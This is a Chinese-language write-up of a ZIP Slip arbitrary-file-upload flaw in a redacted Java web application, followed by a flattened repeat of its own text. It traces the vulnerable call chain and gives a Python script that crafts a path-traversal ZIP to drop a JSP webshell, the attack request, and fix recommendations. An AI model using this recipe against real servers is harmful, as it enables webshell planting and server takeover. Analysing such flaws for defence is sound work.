突破后缀限制实现任意文件上传
字数 1300 2025-08-22 12:23:36

突破文件后缀限制实现任意文件上传漏洞分析与利用

0x00 漏洞概述

本漏洞存在于一个基于Java的Web应用中,通过精心构造的ZIP文件(利用ZIP Slip技术)和特定的API调用链,可以绕过文件上传的后缀限制,最终实现将恶意文件(如JSP Webshell)上传到Web服务器目录。

0x01 漏洞发现过程

初始发现

  • 系统存在一个上传点,允许上传ZIP文件
  • 上传功能有白名单过滤,仅允许特定类型文件(如ZIP)
  • 需要寻找系统中可控的解压点来利用ZIP Slip技术

关键代码分析

web.xml中发现一个与上传相关的servlet,其uploadMediaFile方法包含解压操作:

try {
    var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";
    var3 = new FileInputStream(new File(var7 + var6 + var1 + var2));
    var15 = new ZipInputStream((InputStream)var3);
    ZipEntry var17 = null;
    while ((var17 = var15.getNextEntry()) != null) {
        if (!var17.isDirectory()) {
            var18 = var17.getName();
            var19 = var18.substring(var18.indexOf("."));
            if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || 
                var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {
                // 黑名单后缀检测,阻止解压
                break;
            }
            // 其他处理逻辑...
        }
    }
} catch (IOException var44) {
    // 异常处理...
}

绕过思路

虽然上述代码有黑名单检测,但系统中还存在其他解压点:

  1. 使用jar-analyzer工具搜索com.xxx.xxx.zip.ZipEntrygetName方法调用
  2. 发现savexxxxTrans类中的unZip()方法存在潜在漏洞

0x02 漏洞利用链分析

关键调用链

  1. AjaxController#A() - 入口点

    • 处理HTTP请求
    • 构造hashmap存储请求参数
    • 调用FrameCmd#execute()
  2. FrameCmd#execute()

    • 调用MsgRouter#execute()
  3. MsgRouter#execute()

    • 调用WFMapping#init()加载配置
    • 通过反射调用对应类的execute方法
  4. savexxTrans#execute()

    • 从hashmap获取r5100newpath参数
    • 调用isZip方法
    • 最终进入unZip方法解压指定ZIP文件

参数控制

  • newPath参数控制ZIP文件路径
  • r5100参数作为辅助参数
  • 这些参数通过HTTP请求中的__XML变量传递

0x03 漏洞利用步骤

1. 构造恶意ZIP文件

使用Python脚本创建包含路径遍历的ZIP文件:

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc1.zip")
        zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e

2. 上传ZIP文件

通过系统上传接口上传构造的ZIP文件,并获取文件存储路径。

3. 构造攻击请求

构造包含以下内容的请求:

{
    "__xml": {
        "functionId": "xxxxx0098",
        "r5100": "123",
        "newPath": "加密后的文件路径"
    }
}

注意:

  • newPath需要与上传接口返回的fullpath解密结果一致
  • 需要对__xml值进行AES加密(当typeextTrans时会自动解密)

4. 发送攻击请求

登录系统后发送构造的请求,触发解压操作。

0x04 漏洞修复建议

  1. 解压安全

    • 对解压出的文件路径进行规范化并验证
    • 禁止路径中包含..等遍历字符
    • 限制解压目录为指定安全目录
  2. 文件上传

    • 加强上传文件类型检查
    • 对上传文件内容进行扫描
  3. 权限控制

    • 确保敏感操作需要足够权限
    • 加强API访问控制
  4. 输入验证

    • 对所有输入参数进行严格验证
    • 避免直接使用用户输入构造文件路径

0x05 总结

本漏洞利用链展示了如何通过:

  1. 构造恶意ZIP文件
  2. 寻找系统中不安全的解压点
  3. 通过API调用链触发解压操作
  4. 利用ZIP Slip技术实现任意文件上传

这种攻击方式在具有文件上传和解压功能的系统中较为常见,开发人员应特别注意文件操作的安全性。

突破文件后缀限制实现任意文件上传漏洞分析与利用 0x00 漏洞概述 本漏洞存在于一个基于Java的Web应用中,通过精心构造的ZIP文件(利用ZIP Slip技术)和特定的API调用链,可以绕过文件上传的后缀限制,最终实现将恶意文件(如JSP Webshell)上传到Web服务器目录。 0x01 漏洞发现过程 初始发现 系统存在一个上传点,允许上传ZIP文件 上传功能有白名单过滤,仅允许特定类型文件(如ZIP) 需要寻找系统中可控的解压点来利用ZIP Slip技术 关键代码分析 在 web.xml 中发现一个与上传相关的servlet,其 uploadMediaFile 方法包含解压操作: 绕过思路 虽然上述代码有黑名单检测,但系统中还存在其他解压点: 使用 jar-analyzer 工具搜索 com.xxx.xxx.zip.ZipEntry 的 getName 方法调用 发现 savexxxxTrans 类中的 unZip() 方法存在潜在漏洞 0x02 漏洞利用链分析 关键调用链 AjaxController#A() - 入口点 处理HTTP请求 构造hashmap存储请求参数 调用 FrameCmd#execute() FrameCmd#execute() 调用 MsgRouter#execute() MsgRouter#execute() 调用 WFMapping#init() 加载配置 通过反射调用对应类的 execute 方法 savexxTrans#execute() 从hashmap获取 r5100 和 newpath 参数 调用 isZip 方法 最终进入 unZip 方法解压指定ZIP文件 参数控制 newPath 参数控制ZIP文件路径 r5100 参数作为辅助参数 这些参数通过HTTP请求中的 __XML 变量传递 0x03 漏洞利用步骤 1. 构造恶意ZIP文件 使用Python脚本创建包含路径遍历的ZIP文件: 2. 上传ZIP文件 通过系统上传接口上传构造的ZIP文件,并获取文件存储路径。 3. 构造攻击请求 构造包含以下内容的请求: 注意: newPath 需要与上传接口返回的 fullpath 解密结果一致 需要对 __xml 值进行AES加密(当 type 为 extTrans 时会自动解密) 4. 发送攻击请求 登录系统后发送构造的请求,触发解压操作。 0x04 漏洞修复建议 解压安全 对解压出的文件路径进行规范化并验证 禁止路径中包含 .. 等遍历字符 限制解压目录为指定安全目录 文件上传 加强上传文件类型检查 对上传文件内容进行扫描 权限控制 确保敏感操作需要足够权限 加强API访问控制 输入验证 对所有输入参数进行严格验证 避免直接使用用户输入构造文件路径 0x05 总结 本漏洞利用链展示了如何通过: 构造恶意ZIP文件 寻找系统中不安全的解压点 通过API调用链触发解压操作 利用ZIP Slip技术实现任意文件上传 这种攻击方式在具有文件上传和解压功能的系统中较为常见,开发人员应特别注意文件操作的安全性。